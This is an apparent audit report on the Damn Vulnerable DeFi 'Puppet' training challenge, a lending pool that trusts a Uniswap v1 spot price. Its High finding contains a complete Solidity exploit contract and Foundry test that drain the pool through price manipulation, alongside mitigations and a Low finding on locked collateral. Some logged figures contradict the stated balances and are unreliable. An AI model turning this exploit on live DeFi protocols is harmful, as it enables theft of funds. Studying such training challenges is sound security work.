

Damn Vulnerable DeFi, Puppet Security Review

Damn Vulnerable DeFi, Puppet Security Review

Table of contents

About Me

Disclaimer

Risk Classification

Audit Details

Scope

Protocol Summary

Roles

Executive Summary

Issues found

Findings

High

[H-1] Spot price from one small Uniswap market lets an attacker drain the whole pool

Low

[L-1] Collateral ETH is locked forever because the pool has no withdraw function

Damn Vulnerable DeFi, Puppet Security Review

Prepared by: SnavOhBurmaa

Lead Auditors: Khant Wai Yan Aung (SnavOhBurmaa)

date: July 6, 2026

Table of contents

See table

1. Damn Vulnerable DeFi, Puppet Security Review
2. [Table of contents](#)
3. [About Me](#)
4. [Disclaimer](#)
5. [Risk Classification](#)
6. [Audit Details](#)
7. [Scope](#)
8. [Protocol Summary](#)
9. [Roles](#)
10. [Executive Summary](#)
11. [Issues found](#)
12. [Findings](#)

About Me

I'm a smart contract auditor focus on EVM and Solidity protocols. This review was carried out as part of independent security practice on the Damn Vulnerable DeFi training set.

Disclaimer

I made every effort to find as many vulnerabilities as possible, fixing the issues described here does not guarantee the contracts are free of all bug.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The project is Damn Vulnerable DeFi v4, the Puppet challenge. The reviewed version use `pragma solidity =0.8.25` (DVD v4). The reviewer is Khant Wai Yan Aung (SnavOhBurmaa) and the date is July 6, 2026. Tools used were manual review and Foundry (forge) for the PoC, Slither, Aderyn.

Scope

```
src/puppet/  
  PuppetPool.sol  
  IUniswapV1Exchange.sol  
  IUniswapV1Factory.sol
```

Protocol Summary

Puppet is a small lending pool with one job. You can borrow Damn Valuable Tokens (DVT) from the pool if you first leave twice their value in ETH as collateral.

The pool does not know a real price on its own. To find the value of DVT it looks at an old Uniswap v1 market and reads how much ETH and how much DVT sit inside it. The price of one DVT is just the ETH balance divided by the DVT balance of that market. This is a spot price, meaning the price at that exact moment.

The two interface files, `IUniswapV1Exchange.sol` and `IUniswapV1Factory.sol`. They are only the list of functions used to talk to the Uniswap market and the Uniswap factory. The real Uniswap code is loaded as compiled bytecode during the test.

In the test the pool holds 100000 DVT. The Uniswap market starts with 10 ETH and 10 DVT, so one DVT is worth about 1 ETH. The player starts with 25 ETH and 1000 DVT. The goal is to take all tokens out of the pool and send them to a recovery account, in a single transaction.

Roles

There are two roles. The pool owner deploys the pool and points it at the DVT token and the Uniswap market. The player is a normal user with 25 ETH and 1000 DVT who must drain the pool. There is no admin key on the price, anyone who can trade on Uniswap can move the price the pool reads.

Executive Summary

The pool trusts a price it does not control. The price comes from one small Uniswap market, and it is read at the current moment with no averaging and no safety check. Anyone is allowed to trade on that market, so anyone can move the price.

The player holds 1000 DVT while the market only holds 10 DVT. By dumping the 1000 DVT into the market, the price of DVT drops to almost nothing. The pool now thinks 100000 DVT are cheap, so the required deposit falls from 200000 ETH to about 19.66 ETH. The player pays that small deposit, borrows every token, and sends them to recovery. This is a classic price oracle manipulation.

Issues found

Severity	Number of issues found
High	1
Medium	0
Low	1
Informational	0
Total	2

ID	Title	Severity
[H-1]	Spot price from one small Uniswap market lets an attacker drain the whole pool	High
[L-1]	Collateral ETH is locked forever because the pool has no withdraw function	Low

Findings

High

[H-1] Spot price from one small Uniswap market lets an attacker drain the whole pool

Description:

The pool sets the required deposit from a price, and the price is read straight from one Uniswap market at the current moment.

```
// src/puppet/PuppetPool.sol:55-62
function calculateDepositRequired(uint256 amount) public view
returns (uint256) {
    return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 **
18;
}

function _computeOraclePrice() private view returns (uint256) {
    // price = ETH in the market / DVT in the market
    return uniswapPair.balance * (10 ** 18) /
token.balanceOf(uniswapPair);
}
```

The problem is that this market is small and open. Anyone can trade on it, and any trade changes the two balances the pool reads. There is no time average and no check that the price looks normal.

At the start the market holds 10 ETH and 10 DVT, so one DVT is about 1 ETH, and borrowing all 100000 DVT would need 200000 ETH. But the player holds 1000 DVT, which is 100 times the DVT in the market. When the player dumps 1000 DVT into the market, the market fills with DVT and empties of ETH, so the price of DVT falls close to zero.

After the dump the market holds about 1010 DVT and about 0.099 ETH. The price the pool reads is now tiny, so the deposit for all 100000 DVT drops from 200000 ETH to about 19.66 ETH. The pool still runs its own check `msg.value >= depositRequired`, but that check passes because the required number itself became small.

Location `src/puppet/PuppetPool.sol:55-62`.

Impact:

Likelihood High. The market is open to everyone and the player already holds far more DVT than the market does. No special key or role is needed.

Risk High. The full pool balance, 100000 DVT, is taken.

Proof of Concept:

The player deploys a small attacker contract and the whole attack runs inside its constructor. A signed permit lets the contract move the player DVT without a second transaction. Steps: pull the player DVT, dump it all into Uniswap to crash the price, read the tiny deposit, borrow every token, and send them to recovery.

```
contract PuppetAttacker {
    constructor(
        DamnValuableToken token,
        IUniswapV1Exchange uniswap,
        PuppetPool pool,
        address recovery,
        address player,
        uint256 tokenAmount,
        uint256 poolTokens,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) payable {
        // 1. use the signed permit so this contract can move the
        // player DVT (no extra tx)
        token.permit(player, address(this), tokenAmount,
            type(uint256).max, v, r, s);

        // 2. pull the player DVT into this contract
        token.transferFrom(player, address(this), tokenAmount);

        // 3. dump all DVT into the small uniswap market to crash
        // the price
        token.approve(address(uniswap), tokenAmount);
        uniswap.tokenToEthSwapInput(tokenAmount, 1,
            block.timestamp);

        // 4. the deposit needed is now tiny, borrow every token
        // and send to recovery
        uint256 deposit =
            pool.calculateDepositRequired(poolTokens);
        pool.borrow{value: deposit}(poolTokens, recovery);
    }
}

function test_puppetExploit() public {
    vm.startPrank(player, player);

    console.log("BEFORE ATTACK");
    console.log("uniswap DVT reserve :",
```

```

token.balanceOf(address(uniswapV1Exchange)));
    console.log("uniswap ETH reserve :",
address(uniswapV1Exchange).balance);
    console.log("deposit for all DVT :",
lendingPool.calculateDepositRequired(PPOOL_INITIAL_TOKEN_BALANCE));
    console.log("player ETH          :", player.balance);
    console.log("player DVT          :", token.balanceOf(player));
    console.log("pool DVT           :",
token.balanceOf(address(lendingPool)));
    console.log("recovery DVT        :",
token.balanceOf(recovery));

    // find the address this deploy will get (player nonce is 0
right now)
    address attackerAddr = vm.computeCreateAddress(player,
vm.getNonce(player));

    // sign a permit off chain so the attacker contract can spend
the player DVT
    bytes32 permitTypehash =
        keccak256("Permit(address owner,address spender,uint256
value,uint256 nonce,uint256 deadline)");
    bytes32 structHash = keccak256(
        abi.encode(
            permitTypehash, player, attackerAddr,
PLAYER_INITIAL_TOKEN_BALANCE, token.nonces(player),
type(uint256).max
        )
    );
    bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
token.DOMAIN_SEPARATOR(), structHash));
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPrivateKey,
digest);

    // the one and only player transaction
    new PuppetAttacker{value: PLAYER_INITIAL_ETH_BALANCE}(
        token, uniswapV1Exchange, lendingPool, recovery, player,
        PLAYER_INITIAL_TOKEN_BALANCE, PPOOL_INITIAL_TOKEN_BALANCE,
v, r, s
    );

    vm.stopPrank();

    console.log("AFTER ATTACK");
    console.log("uniswap DVT reserve :",
token.balanceOf(address(uniswapV1Exchange)));
    console.log("uniswap ETH reserve :",
address(uniswapV1Exchange).balance);
    console.log("pool DVT           :",
token.balanceOf(address(lendingPool)));
    console.log("recovery DVT        :",
token.balanceOf(recovery));
    console.log("player nonce          :", vm.getNonce(player));

```

```

        assertEq(vm.getNonce(player), 1, "player used more than one
tx");
        assertEq(token.balanceOf(address(lendingPool)), 0, "pool still
has tokens");
        assertGe(token.balanceOf(recovery),
POOL_INITIAL_TOKEN_BALANCE, "recovery did not get the tokens");
    }

```

Run `forge test --match-path test/puppet/PuppetPoC.t.sol -vv:`

Ran 1 test for test/puppet/PuppetPoC.t.sol:PuppetPoC
[PASS] test_puppetExploit() (gas: 233418)

Logs:

```

BEFORE ATTACK
uniswap DVT reserve : 1000000000000000000000
uniswap ETH reserve : 1000000000000000000000
deposit for all DVT : 200000000000000000000000
player ETH          : 250000000000000000000000
player DVT          : 1000000000000000000000000
pool DVT            : 1000000000000000000000000
recovery DVT        : 0
AFTER ATTACK
uniswap DVT reserve : 1010000000000000000000000
uniswap ETH reserve : 99304865938430984
pool DVT            : 0
recovery DVT        : 1000000000000000000000000
player nonce        : 1

```

Suite result: ok. 1 passed; 0 failed; 0 skipped

Before the attack, borrowing all DVT needs 200000 ETH. After the dump the deposit is about 19.66 ETH, which the player can pay. The pool goes from 100000 DVT to 0, and recovery ends with all 100000 DVT. The player used only one transaction.

Recommended Mitigation:

Do not depend on a spot price from one small market.

1 Read from a proven price source like a Chainlink feed instead of one Uniswap pool. 2 Use a time weighted average price (TWAP) so a one transaction swing can not move the price. 3 Cross check more than one source and reject a price that jumps too far from the last one. 4 Use only deep and liquid markets so moving the price costs a lot.

Low

[L-1] Collateral ETH is locked forever because the pool has no withdraw function

Description:

When a user borrows, the pool records their ETH deposit in a mapping.

```
// src/puppet/PuppetPool.sol:43-45
unchecked {
    deposits[msg.sender] += depositRequired;
}
```

But nothing ever reads `deposits` again. There is no repay function and no withdraw function. Once ETH is deposited as collateral it stays in the pool, and the borrower can never get it back even if they return the tokens.

Location `src/puppet/PuppetPool.sol:17` and `:43-45`.

Impact:

Likelihood Low. Risk Medium, users would lose access to their collateral.

Proof of Concept:

N/A

Recommended Mitigation:

Add a repay path that takes the tokens back and returns the matching collateral, and clear the `deposits` entry when it is paid.

```
+ function repay(uint256 amount) external nonReentrant {
+     uint256 depositToReturn = calculateDepositRequired(amount);
+     if (deposits[msg.sender] < depositToReturn) {
+         revert NotEnoughCollateral();
+     }
+
+     // take the tokens back first
+     if (!token.transferFrom(msg.sender, address(this), amount))
+     {
+         revert TransferFailed();
+     }
+
+     // then release the matching collateral
+     deposits[msg.sender] -= depositToReturn;
+     payable(msg.sender).sendValue(depositToReturn);
+ }
```